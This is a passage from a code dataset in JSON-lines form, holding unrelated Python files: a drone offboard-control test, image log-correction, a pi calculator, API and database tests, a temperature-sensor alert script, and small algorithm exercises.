markable_bigrams \\\n\t\t\t\t\t\tor (\"extremely\", \"tiny\") in markable_bigrams:\n\t\t\t\t\t\ttext2size[\"very small\"].append(referent_size)\n\t\t\t\t\telif (\"slightly\", \"small\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"slightly\", \"tiny\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"bit\", \"small\") in markable_bigrams \\\n\t\t\t\t\t\tor (\"bit\", \"tiny\") in markable_bigrams:\n\t\t\t\t\t\ttext2size[\"slightly small\"].append(referent_size)\n\t\t\t\t\telif \"small\" in markable_unigrams \\\n\t\t\t\t\t\tor \"tiny\" in markable_unigrams:\n\t\t\t\t\t\ttext2size[\"small\"].append(referent_size)\n\t\t\t\t\tif \"smaller\" in markable_unigrams \\\n\t\t\t\t\t\tor \"tinier\" in markable_unigrams:\n\t\t\t\t\t\ttext2size[\"smaller\"].append(referent_size)\n\t\t\t\t\tif \"smallest\" in markable_unigrams \\\n\t\t\t\t\t\tor \"tiniest\" in markable_unigrams:\n\t\t\t\t\t\ttext2size[\"smallest\"].append(referent_size)\n\n\tplot_colors = sns.color_palette(\"hls\", 9)\n\tx = list(range(7, 14))\n\tfor i, size in enumerate(['very small', 'smallest', 'small', 'smaller', 'medium', 'larger', 'large', 'largest', 'very large']):\n\t\tprint(\"{}: mean {}, std {} (total {})\".format(size, np.mean(text2size[size]), np.std(text2size[size]), len(text2size[size])))\n\t\ty = []\n\t\tfor size_val in x:\n\t\t\ty.append(text2size[size].count(size_val))\n\t\ty = np.divide(y, len(text2size[size]))\n\t\tsns.lineplot(x=x, y=y, color=plot_colors[i], label=size)\n\t\t#sns.distplot(text2size[size], kde=False, norm_hist=True, color=plot_colors[i], label=size)\n\tplt.xlabel('size', fontsize=16)\n\tplt.ylabel('probability density', fontsize=16)\n\tplt.legend(fontsize='x-small')\n\tplt.tight_layout()\n\tplt.savefig(args.referent_annotation.split(\".\")[0] + '_size.png', dpi=400)\n\tplt.clf()\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--scenario_file', type=str, default=\"aaai_train_scenarios.json\")\n\tparser.add_argument('--scenario_file_2', type=str, default=\"aaai_train_scenarios_2.json\")\n\tparser.add_argument('--transcript_file', type=str, default=\"final_transcripts.json\")\n\n\tparser.add_argument('--plot_referent_color', action='store_true', default=False)\n\tparser.add_argument('--plot_referent_size', action='store_true', default=False)\n\tparser.add_argument('--referent_annotation', type=str, default=\"aggregated_referent_annotation.json\")\n\n\targs = parser.parse_args()\n\n\tdialogue_corpus = read_json(args.transcript_file)\n\tscenario_list = read_json(args.scenario_file)\n\tscenario_list += read_json(args.scenario_file_2)\n\n\tif args.plot_referent_color:\n\t\tplot_referent_color(args, dialogue_corpus)\n\n\tif args.plot_referent_size:\n\t\tplot_referent_size(args, dialogue_corpus)\n\n","sub_path":"emnlp2020/data/reference_analysis.py","file_name":"reference_analysis.py","file_ext":"py","file_size_in_byte":11863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"243504792","text":"#!/usr/bin/env python2\n#***************************************************************************\n#\n# Copyright (c) 2015 PX4 Development Team. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# 3. Neither the name PX4 nor the names of its contributors may be\n# used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n#***************************************************************************/\n\n#\n# @author Andreas Antener \n\nfrom __future__ import division\n\nPKG = 'px4'\n\nimport rospy\nimport math\nimport numpy as np\nfrom geometry_msgs.msg import PoseStamped, Quaternion\nfrom mavros_test_common import MavrosTestCommon\nfrom pymavlink import mavutil\nfrom std_msgs.msg import Header, String, Bool\nfrom threading import Thread\nfrom tf.transformations import quaternion_from_euler\n\n\nclass MavrosOffboardPosctlTest(MavrosTestCommon):\n \"\"\"\n Tests flying a path in offboard control by sending position setpoints\n via MAVROS.\n\n For the test to be successful it needs to reach all setpoints in a certain time.\n\n FIXME: add flight path assertion (needs transformation from ROS frame to NED)\n \"\"\"\n\n def setUp(self):\n super(MavrosOffboardPosctlTest, self).setUp()\n\n self.pos = PoseStamped()\n self.radius = 1\n self.height = 20\n self.curr_task_pos = (0, 0, self.height )\n self.prev_task_pos = (0, 0, self.height )\n self.mission_done = False\n self.idling = False\n\n # publishers\n self.pos_setpoint_pub = rospy.Publisher(\n '/uav0/mavros/setpoint_position/local', PoseStamped, queue_size=1)\n self.idle_pub = rospy.Publisher('/uav0_task_bool', Bool, queue_size=1)\n\n # subscribers\n self.mission_done_sub = rospy.Subscriber('/mission_bool', Bool, self.mission_done_callback)\n self.task_pos_sub = rospy.Subscriber('/uav0_curr_task', PoseStamped, self.task_pos_callback)\n # self.uav0_pos_sub = rospy.Subscriber('/uav0/mavros/local_position/pose', PoseStamped, self.pos_callback)\n\n # send setpoints in seperate thread to better prevent failsafe\n self.pos_thread = Thread(target=self.send_pos, args=())\n self.pos_thread.daemon = True\n self.pos_thread.start()\n\n def task_pos_callback(self, data):\n x = data.pose.position.x\n y = data.pose.position.y\n z = data.pose.position.z\n new_task = (x, y, z)\n if self.curr_task_pos == new_task:\n pass\n else:\n rospy.loginfo(\"received new task!\")\n self.prev_task_pos = self.curr_task_pos\n self.curr_task_pos = new_task\n self.idling = False\n\n def mission_done_callback(self, data):\n if data.data:\n self.mission_done = True\n rospy.loginfo(\"Received mission done from master!\")\n\n def tearDown(self):\n super(MavrosOffboardPosctlTest, self).tearDown()\n\n #\n # Helper methods\n #\n def send_pos(self):\n rate = rospy.Rate(10) # Hz\n self.pos.header = Header()\n self.pos.header.frame_id = \"base_footprint\"\n\n while not rospy.is_shutdown():\n self.pos.header.stamp = rospy.Time.now()\n self.pos_setpoint_pub.publish(self.pos)\n try: # prevent garbage in console output when thread is killed\n rate.sleep()\n except rospy.ROSInterruptException:\n pass\n\n def is_at_position(self, x, y, z, offset):\n \"\"\"offset: meters\"\"\"\n rospy.logdebug(\n \"current position | x:{0:.2f}, y:{1:.2f}, z:{2:.2f}\".format(\n self.local_position.pose.position.x, self.local_position.pose.\n position.y, self.local_position.pose.position.z))\n\n desired = np.array((x, y, z))\n pos = np.array((self.local_position.pose.position.x,\n self.local_position.pose.position.y,\n self.local_position.pose.position.z))\n return np.linalg.norm(desired - pos) < offset\n\n def reach_position(self, x, y, z, timeout):\n \"\"\"timeout(int): seconds\"\"\"\n # set a position setpoint\n self.pos.pose.position.x = x\n self.pos.pose.position.y = y\n self.pos.pose.position.z = z\n rospy.loginfo(\n \"attempting to reach position | x: {0}, y: {1}, z: {2} | current position x: {3:.2f}, y: {4:.2f}, z: {5:.2f}\".\n format(x, y, z, self.local_position.pose.position.x,\n self.local_position.pose.position.y,\n self.local_position.pose.position.z))\n\n # For demo purposes we will lock yaw/heading to north.\n yaw_degrees = 0 # North\n yaw = math.radians(yaw_degrees)\n quaternion = quaternion_from_euler(0, 0, yaw)\n self.pos.pose.orientation = Quaternion(*quaternion)\n\n # does it reach the position in 'timeout' seconds?\n loop_freq = 2 # Hz\n rate = rospy.Rate(loop_freq)\n reached = False\n for i in xrange(timeout * loop_freq):\n if self.is_at_position(self.pos.pose.position.x,\n self.pos.pose.position.y,\n self.pos.pose.position.z, self.radius):\n rospy.loginfo(\"position reached | seconds: {0} of {1}\".format(\n i / loop_freq, timeout))\n self.idle_pub.publish(True)\n self.idling = True\n reached = True\n break\n\n try:\n rate.sleep()\n except rospy.ROSException as e:\n self.fail(e)\n\n self.assertTrue(reached, (\n \"took too long to get to position | current position x: {0:.2f}, y: {1:.2f}, z: {2:.2f} | timeout(seconds): {3}\".\n format(self.local_position.pose.position.x,\n self.local_position.pose.position.y,\n self.local_position.pose.position.z, timeout)))\n\n def check_task(self):\n x = self.curr_task_pos[0]\n y = self.curr_task_pos[1]\n z = self.curr_task_pos[2]\n if not self.is_at_position(x, y, z, self.radius):\n self.idling = False # get robot back to work\n\n #\n # Test method\n #\n def test_posctl(self):\n \"\"\"Test offboard position control\"\"\"\n\n # make sure the simulation is ready to start the mission\n self.wait_for_topics(60)\n self.wait_for_landed_state(mavutil.mavlink.MAV_LANDED_STATE_ON_GROUND,\n 10, -1)\n\n self.log_topic_vars()\n self.set_mode(\"OFFBOARD\", 5)\n self.set_arm(True, 5)\n\n self.reach_position(0, 0, self.height, 30) # set takeoff height\n rospy.loginfo(\"height reached; waiting for mission\")\n\n while not self.mission_done:\n if self.idling:\n rospy.loginfo('waiting for next task')\n self.check_task()\n # publish idling\n self.idle_pub.publish(True)\n rospy.sleep(1)\n else:\n self.reach_position(self.curr_task_pos[0], self.curr_task_pos[1], self.curr_task_pos[2], 30)\n if self.mission_done and self.idling:\n rospy.loginfo('mission completed! Landing now')\n break\n\n self.reach_position(0, 0, self.height, 30) # returning to home location\n self.set_mode(\"AUTO.LAND\", 5)\n self.wait_for_landed_state(mavutil.mavlink.MAV_LANDED_STATE_ON_GROUND,\n 45, 0)\n self.set_arm(False, 5)\n\n\nif __name__ == '__main__':\n try:\n import rostest\n rospy.init_node('test_uav0_node', anonymous=True)\n\n rostest.rosrun(PKG, 'mavros_offboard_posctl_test',\n MavrosOffboardPosctlTest)\n except rospy.ROSInterruptException:\n pass\n\n","sub_path":"uav0/task_posctl_test.py","file_name":"task_posctl_test.py","file_ext":"py","file_size_in_byte":9106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"594374067","text":"import numpy as np\nfrom skimage import io\nimport plot_tools as plt_hist\nimport matplotlib.pyplot as plt\n\n# Load and normalize image\nimg = img = io.imread('Brain.tif',as_gray=True)\nimg = img/np.max(img)\n\n# log-correction is performed\nimg_log_corrected = (np.log(1+img))/np.log(1+np.max(img))\n\n# Display results\nfig = plt.figure(figsize=(8, 5))\naxes = np.zeros((2, 2), dtype=np.object)\naxes[0, 0] = fig.add_subplot(2, 2, 1)\nfor i in range(1, 2):\n axes[0, i] = fig.add_subplot(2, 2, 1+i, sharex=axes[0,0], sharey=axes[0,0])\nfor i in range(0, 2):\n axes[1, i] = fig.add_subplot(2, 2, 3+i)\n \nax_img, ax_hist = plt_hist.plot_img_and_hist(img, axes[:, 0])\nax_img.set_title('Low contrast dark image')\n\ny_min, y_max = ax_hist.get_ylim()\nax_hist.set_ylabel('Number of pixels')\nax_hist.set_yticks(np.linspace(0, y_max, 5))\n\nax_img, ax_hist = plt_hist.plot_img_and_hist(img_log_corrected, axes[:, 1])\nax_img.set_title('Log correction')\n\n# prevent overlap of y-axis labels\nfig.tight_layout()\nplt.show()","sub_path":"Filters & Image_Enhancement/Enhancement/log_correction.py","file_name":"log_correction.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"524715034","text":"'''\r\nPython linearly search implementation\r\nif variable is present return index of its location\r\nelse return -1\r\n\r\n'''\r\n\r\ndef linear_search(_list, x):\r\n\tfor i in range(len(_list)):\r\n\t\tif _list[i] == x:\r\n\t\t\treturn i\r\n\t\t\tbreak\r\n\treturn -1\r\n\r\nif __name__ == '__main__':\r\n\r\n\t_list = list(map(int, input().split()))\r\n\tx = int(input())\r\n\r\n\tprint(linear_search(_list, x))\r\n","sub_path":"Search Algorithms/linear_search.py","file_name":"linear_search.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"141762075","text":"from collections import namedtuple\nfrom pytest import raises\nfrom graphql.core import graphql\nfrom graphql.core.type import (\n GraphQLSchema,\n GraphQLObjectType,\n GraphQLField,\n GraphQLArgument,\n GraphQLList,\n GraphQLNonNull,\n GraphQLInt,\n GraphQLString,\n GraphQLBoolean,\n GraphQLID,\n)\n\nfrom graphql_relay.connection.arrayconnection import connectionFromArray\nfrom graphql_relay.connection.connection import (\n connectionArgs,\n connectionDefinitions\n)\n\nUser = namedtuple('User', ['name'])\n\nallUsers = [\n User(name='Dan'),\n User(name='Nick'),\n User(name='Lee'),\n User(name='Joe'),\n User(name='Tim'),\n]\n\nuserType = GraphQLObjectType(\n 'User',\n fields= lambda: {\n 'name': GraphQLField(GraphQLString),\n 'friends': GraphQLField(\n friendConnection,\n args=connectionArgs,\n resolver= lambda user, args, *_: connectionFromArray(allUsers, args),\n ),\n },\n)\n\nfriendConnection = connectionDefinitions(\n 'Friend',\n userType,\n edgeFields= lambda: {\n 'friendshipTime': GraphQLField(\n GraphQLString,\n resolver= lambda *_: 'Yesterday'\n ),\n },\n connectionFields= lambda: {\n 'totalCount': GraphQLField(\n GraphQLInt,\n resolver= lambda *_: len(allUsers)\n ),\n }\n).connectionType\n\nqueryType = GraphQLObjectType(\n 'Query',\n fields=lambda: {\n 'user': GraphQLField(\n userType,\n resolver=lambda *_: allUsers[0]\n ),\n }\n)\n\nschema = GraphQLSchema(query=queryType)\n\ndef test_include_connections_and_edge_types():\n query = '''\n query FriendsQuery {\n user {\n friends(first: 2) {\n totalCount\n edges {\n friendshipTime\n node {\n name\n }\n }\n }\n }\n }\n '''\n expected = {\n 'user': {\n 'friends': {\n 'totalCount': 5,\n 'edges': [\n {\n 'friendshipTime': 'Yesterday',\n 'node': {\n 'name': 'Dan'\n }\n },\n {\n 'friendshipTime': 'Yesterday',\n 'node': {\n 'name': 'Nick'\n }\n },\n ]\n }\n }\n }\n result = graphql(schema, query)\n assert result.errors == None\n assert result.data == expected\n","sub_path":"tests/connection/test_connection.py","file_name":"test_connection.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"437292733","text":"count=0 # division counter\nn=int(input(\"enter the number :\"))\n\nfor i in range(1,n+1):\n if n%i==0:\n count+=1\nif count==2: #2 if prime \n print(n,\"is a prime number\") \nelse:\n print(n,\"is a not prime number\") ","sub_path":"Python Program/prime Number.py","file_name":"prime Number.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"625112628","text":"from datetime import datetime, timedelta\nimport json\nimport requests\nfrom rest_framework.test import APIRequestFactory\nfrom rest_framework.test import APIClient\nfrom rest_framework.authtoken.models import Token\nfrom django.contrib.auth.models import User\nfrom django.core.cache import cache\nfrom django.utils import timezone\nfrom django.test import TestCase, LiveServerTestCase\nfrom dominios.models import Dominio, STATUS_DISPONIBLE, STATUS_NO_DISPONIBLE\nfrom zonas.models import Zona\n\n\nclass APIDominioTestCase(TestCase):\n \n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.anon_client = APIClient()\n cls.anon_client.credentials()\n cls.user = User.objects.create_user('john', 'jhon@lala.com', 'john')\n cls.regular_user_client = APIClient()\n cls.regular_user_client.login(username='john', password='john')\n\n cls.regular_user_token = Token.objects.create(user=cls.user)\n cls.tokened_regular_client = APIClient()\n cls.tokened_regular_client.credentials(HTTP_AUTHORIZATION='Token ' + cls.regular_user_token.key)\n \n cls.admin_user = User.objects.create_user('admin', 'admin@lala.com', 'admin', is_staff=True, is_superuser=True)\n cls.admin_user_client = APIClient()\n cls.admin_user_client.login(username='admin', password='admin')\n \n cls.admin_user_token = Token.objects.create(user=cls.admin_user)\n cls.tokened_admin_client = APIClient()\n cls.tokened_admin_client.credentials(HTTP_AUTHORIZATION='Token ' + cls.admin_user_token.key)\n\n cls.zona = Zona.objects.create(nombre='ar')\n \n\n def test_api_readings(self):\n \n ep = '/api/v1/dominios/stats/reading'\n \n resp = self.anon_client.get(ep)\n self.assertEqual(resp.status_code, 200) # redirect to login\n\n resp = self.regular_user_client.get(ep)\n self.assertEqual(resp.status_code, 200)\n \n resp = self.tokened_regular_client.get(ep)\n self.assertEqual(resp.status_code, 200)\n \n resp = self.admin_user_client.get(ep)\n self.assertEqual(resp.status_code, 200)\n\n data = resp.json()\n self.assertEqual(data['data']['total'], 0)\n \n resp = self.tokened_admin_client.get(ep)\n self.assertEqual(resp.status_code, 200)\n\n hoy = timezone.now()\n for n in range(0, 10):\n\n Dominio.objects.create(\n nombre=f'test1-{n}.ar',\n zona=self.zona,\n estado=STATUS_NO_DISPONIBLE,\n data_readed= hoy - timedelta(days=n),\n expire=hoy - timedelta(days=n)\n )\n \n Dominio.objects.create(\n nombre=f'test2-{n}.ar',\n zona=self.zona,\n estado=STATUS_NO_DISPONIBLE,\n data_readed=hoy - timedelta(days=2*n),\n expire=hoy - timedelta(days=n)\n )\n \n Dominio.objects.create(\n nombre=f'test3-{n}.ar',\n zona=self.zona,\n estado=STATUS_NO_DISPONIBLE,\n data_readed=hoy - timedelta(days=2 * n),\n expire=hoy + timedelta(days=n)\n )\n \n Dominio.objects.create(\n nombre=f'test4-{n}.ar',\n zona=self.zona,\n estado=STATUS_NO_DISPONIBLE,\n data_readed=hoy - timedelta(days=3 * n),\n expire=hoy + timedelta(days=n)\n )\n \n # to repeat the view call we need to clean the cache\n cache.clear()\n \n resp = self.admin_user_client.get(ep)\n self.assertEqual(resp.status_code, 200)\n\n data = resp.json()\n self.assertEqual(data['data']['total'], 40)\n \n def check(days_ago, read_since_days):\n dia = (hoy - timedelta(days=days_ago)).strftime(\"%Y-%m-%d\")\n print(f\"DATES {days_ago} {dia} = {data['data']['dates'][dia]}\")\n return data['data']['dates'][dia][str(read_since_days)]\n\n self.assertEqual(check(0, 0), 4)\n self.assertEqual(check(1, 1), 1)\n self.assertEqual(check(1, 2), 1)\n self.assertEqual(check(2, 2), 1)\n self.assertEqual(check(2, 4), 1)\n self.assertEqual(check(3, 3), 1)\n self.assertEqual(check(3, '5-10'), 1)\n \n ep = '/api/v1/dominios/stats/reading/3/3'\n resp = self.admin_user_client.get(ep)\n self.assertEqual(resp.status_code, 200)\n\n data = resp.json()\n self.assertEqual(data['data']['total'], 14)\n ","sub_path":"djnic/dominios/tests/test_apireads.py","file_name":"test_apireads.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"195786608","text":"# find pi to the nth digit, with chudnovsky formula. :- https://pi2e.ch/blog/2016/07/30/the-chudnovsky-formula/\nimport math, sys\nfrom decimal import *\ngetcontext().rounding = ROUND_FLOOR\nsys.setrecursionlimit(100000)\n\ndef calculate_pi_basic(round_digits):\n \"\"\" rounds pi value from math module to the specified number of digits.\n\n round_digits : number of digits to round of the pi value.\n \"\"\"\n result_pi = round(math.pi, round_digits)\n\n return result_pi\n\ndef factorial(n):\n \"\"\" calculates the factorial of a number\n n :- input number\n \"\"\" \n if not n:\n return 1\n return n * factorial(n - 1)\n\ndef get_iterated_value(k):\n \"\"\" calculates the summation value of components a, b with constants in chudnovskys formula\n\n k :- the number of times the summation takes place.\n \"\"\"\n k += 1\n\n getcontext().prec = k\n sum = 0\n\n for i in range(k):\n\n numerator = factorial(6 * i) * (13591409 + 545140135 * i)\n denominator = factorial(3 * i) * (factorial(i) ** 3) * (640320 ** (3 * i))\n sum += numerator / denominator \n\n return Decimal(sum)\n\n\ndef calculate_value_of_pi(k):\n \"\"\" calculate the value of pi using chudnovskys formula\n\n k :- number of places to which the digits in pi have to be calculated.\n \"\"\"\n iter_val = get_iterated_value(k)\n\n up = 426880 * math.sqrt(10005) \n\n pi = Decimal(up) / iter_val\n\n return pi\n\n\nround_to = input('Enter the number of digits you want after the decimal for Pi: ')\n\ntry:\n\tround_int = int(round_to)\n\tprint(calculate_value_of_pi(round_int))\nexcept:\n\tprint(\"You did not enter an integer\")\n","sub_path":"numbers/find_pi_to_the_nth_digit.py","file_name":"find_pi_to_the_nth_digit.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"503375645","text":"class Solution:\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n mySet = set()\n for item in nums:\n if item not in mySet:\n mySet.add(item)\n else:\n mySet.remove(item)\n return mySet.pop()\n","sub_path":"100-200/136_single_number.py","file_name":"136_single_number.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"648253520","text":"'''\r\nCreated on Oct 13, 2018\r\n\r\n@author: Sujay Joshi\r\n'''\r\nfrom time import sleep\r\nimport threading\r\nfrom labs.common.SensorData import SensorData\r\nfrom sense_hat import SenseHat\r\nfrom labs.common.ActuatorData import ActuatorData\r\nfrom labs.module2.SmtpClientConnector import SmtpClientConnector\r\nfrom labs.common import ConfigConst\r\nfrom labs.common import ConfigUtil\r\nfrom labs.module3.TempActuatorEmulator import TempActuatorEmulator\r\n\r\nclass TempSensorAdaptor(threading.Thread):\r\n\r\n enableAdaptor = False\r\n prevTempSet = False\r\n isPrevTempSet = False\r\n curTemp = 0\r\n \r\n #random temperature limits\r\n lowVal = 0\r\n highVal = 30\r\n \r\n #probe rate\r\n rateInSec = 10\r\n \r\n #keep the alert threshold to +/- 10 degrees\r\n alertDiff = 3\r\n \r\n #Instantiate SensorData class\r\n sensorData = SensorData()\r\n \r\n #Instantiate ActuatorData class\r\n actuatorData = ActuatorData()\r\n \r\n #Instantiate snese_hat class\r\n sensehat = SenseHat()\r\n \r\n #Instantiate SmtpClientConnector class\r\n connector = SmtpClientConnector()\r\n \r\n \r\n tempActuatorEmulator = TempActuatorEmulator()\r\n \r\n config = ConfigUtil.ConfigUtil('../../../data/ConnectedDevicesConfig.props')\r\n config.loadConfig()\r\n \r\n nominalTemp = float(config.getProperty(ConfigConst.CONSTRAINED_DEVICE,ConfigConst.NOMINAL_TEMP))\r\n \r\n\r\n def __init__(self, rateInSec=10):\r\n '''\r\n Constructor\r\n '''\r\n super(TempSensorAdaptor,self).__init__()\r\n #make sure the rate is 5 seconds\r\n if rateInSec > 10:\r\n self.rateInSec = rateInSec\r\n \r\n def run(self):\r\n while True:\r\n #execute if the thread is enabled\r\n if self.enableAdaptor:\r\n \r\n #Get the temperature reading from sense_hat module \r\n self.curTemp = self.sensehat.get_temperature_from_humidity()\r\n \r\n #save and process this measurement in sensorData instance\r\n self.sensorData.addValue(self.curTemp)\r\n \r\n print('\\n-------------------------')\r\n print('New sensor Readings:')\r\n print(' '+str(self.sensorData))\r\n \r\n #Check if the this is the first reading, if so just move on till the next reading\r\n if self.isPrevTempSet == False:\r\n \r\n self.isPrevTempSet = True\r\n #If there have been already some readings, then go ahead and calculate average temperature\r\n else:\r\n #If the current temperature is not in the range of avg_temp-10 < avg_temp < avg_temp+10\r\n if ((abs(self.curTemp - self.sensorData.getAvgValue()))>=self.alertDiff):\r\n \r\n \r\n temp_diff = abs(self.curTemp - self.sensorData.getAvgValue())\r\n \r\n \r\n print('\\n Current temp exceeding the average by > '+ str(temp_diff)+ '. Trigger alert...')\r\n #Send warning mail to the client\r\n self.connector.publishMessage('Exceptional sensor Data [test]', self.sensorData)\r\n \r\n \r\n self.actuatorData.setValue(temp_diff)\r\n if(self.curTemp> self.nominalTemp):\r\n #If the temperature is out of threshold send the data to actuator \r\n self.actuatorData.setCommand('DECREASE')\r\n \r\n elif (self.curTemp< self.nominalTemp):\r\n self.actuatorData.setCommand('INCREASE')\r\n \r\n else:\r\n \r\n print('\\nIdeal temperature')\r\n self.actuatorData.setCommand('IDEAL')\r\n \r\n self.tempActuatorEmulator.processMessage(self.actuatorData)\r\n \r\n \r\n \r\n #sleep for 5 seconds\r\n sleep(self.rateInSec)\r\n ","sub_path":"module3/TempSensorAdaptor.py","file_name":"TempSensorAdaptor.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"255418297","text":"'''\n\n@author: torlofski\n\n'''\nimport sqlite3\nfrom sqlite3 import Error\nimport os.path\nfrom src.database import create_connection, create_user, create_credentials\n\n\ndef test_databases():\n \"\"\"Test the database\"\"\"\n\n db_file = \"bpm_t.db\"\n\n try:\n create_connection(db_file)\n assert os.path.isfile(db_file)\n\n create_user(db_file)\n conn = sqlite3.connect(db_file)\n c = conn.cursor()\n user_table_exists = c.execute(\"SELECT count(*) from \\\n sqlite_master WHERE type='table' AND name='user'\").fetchone()\n assert user_table_exists\n\n create_credentials(db_file)\n creds_table_exists = c.execute(\"SELECT count(*) from \\\n sqlite_master WHERE type='table' AND name='credentials'\").fetchone()\n assert creds_table_exists\n except Error as e:\n print(e)\n finally:\n conn.close()\n","sub_path":"src/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"653075289","text":"\"\"\" Utility functions and classes for SRP\n\nContext : SRP\nModule : Stats.py\nVersion : 1.0.0\nAuthor : Stefano Covino\nDate : 02/11/2016\nE-mail : stefano.covino@brera.inaf.it\nURL: : http://www.merate.mi.astro.it/utenti/covino\n\nUsage : FourierPeriodogram\n\nHistory : (02/11/2016) First version.\n\n\"\"\"\n\nimport numpy as np\n\n\ndef FourierPeriodogram(t, y, minf=None, maxf=None):\n N = len(t)\n step = t[1] - t[0]\n frequency = np.fft.fftfreq(N, step)\n y_fft = np.fft.fft(y)\n if minf != None and maxf != None:\n positive = ((frequency > 0) & (frequency >= minf) & (frequency <= maxf))\n else:\n positive = (frequency > 0)\n return frequency[positive], (1./N) * abs(y_fft[positive]) ** 2\n\n","sub_path":"Misc/SRPStatistics/FT/FourierPeriodogram.py","file_name":"FourierPeriodogram.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"240879801","text":"import numpy as np\n\nimport scipy\n\nimport matplotlib.pyplot as plt\n\nimport math\n\nimport csv\n\nimport cv2 as cv\n\nfrom PIL import Image\n\nSIZE = 19\n\nimgR = cv.imread('edge2.png',0)\nimgL = cv.imread('edge3.png',0)\n\nrows = []\n\nwith open('depth_d_b.csv', 'r') as csvfile: \n\t# creating a csv reader object \n\tcsvreader = csv.reader(csvfile) \n\t# extracting each data row one by one \n\tfor row in csvreader: \n\t\trows.append(row) \n\nzi = np.array(rows)\nzi = zi.astype(np.float)\n#print(zi.shape)\n\n'''\ngamma = 1e1\n\n\nprint('legen')\nz = np.zeros(imgL.shape)\nz_temp = np.zeros(imgL.shape)\n\n\nfor fpit in range(1000):\n for i in range(imgL.shape[0]):\n for j in range(imgL.shape[1]):\n try:\n if(zi[i,j]<=255):\n z_temp[i,j] = (z[i+1,j]+z[i,j+1]+z[i-1,j]+z[i,j-1])/(4+gamma*(imgL[i,j]==255)) - zi[i,j]*gamma*(imgL[i,j]==255)/(4+gamma*(imgL[i,j]==255))\n except Exception as e:\n pass\n\t\t\t\n z = z_temp\n print('wait for it....' + str(fpit))\n\n\n\n\nprint('dary')\n'''\ndef wtd(i,j):\n global imgL\n\n global SIZE\n\n wk = []\n zk = []\n\n for it1 in range(-SIZE,SIZE+1,1):\n for it2 in range(1,SIZE+1,1):\n if(imgL[i+it1,j+it2]==255):\n\n wk.append(np.sqrt(it1**2+it2**2))\n zk.append(zi[i+it1,j+it2])\n\n ret = 0\n den = 0\n\n for k in range(len(wk)):\n ret = ret + wk[k]*zk[k]\n den = den + wk[k] \n\n if(den>0):\n return ret/den\n else:\n return 0\n\n\nfor i in range(SIZE,imgL.shape[0]-SIZE,1):\n for j in range(SIZE,imgL.shape[1]-SIZE,1):\n if(imgL[i,j]!=255):\n zi[i,j] = wtd(i,j)\n\n\nwith open('final_depth_NEW.csv', 'w') as file:\n\tfile_writer = csv.writer(file, delimiter=',', quoting=csv.QUOTE_MINIMAL)\n\tfor i in range(len(zi)):\n\t\tfile_writer.writerow(50*100*zi[i])\n\n\n\n","sub_path":"divyansh/depth_nikalo.py","file_name":"depth_nikalo.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"27953767","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom pyparsing import Word, Literal, Forward, Dict, Group, Optional, Combine, ZeroOrMore, OneOrMore, ParseException, \\\n ParseResults, alphanums, nums, dblQuotedString, removeQuotes, pythonStyleComment, ParserElement\n\n\nclass Token(object):\n def __init__(self, name: str):\n self.__token_name = 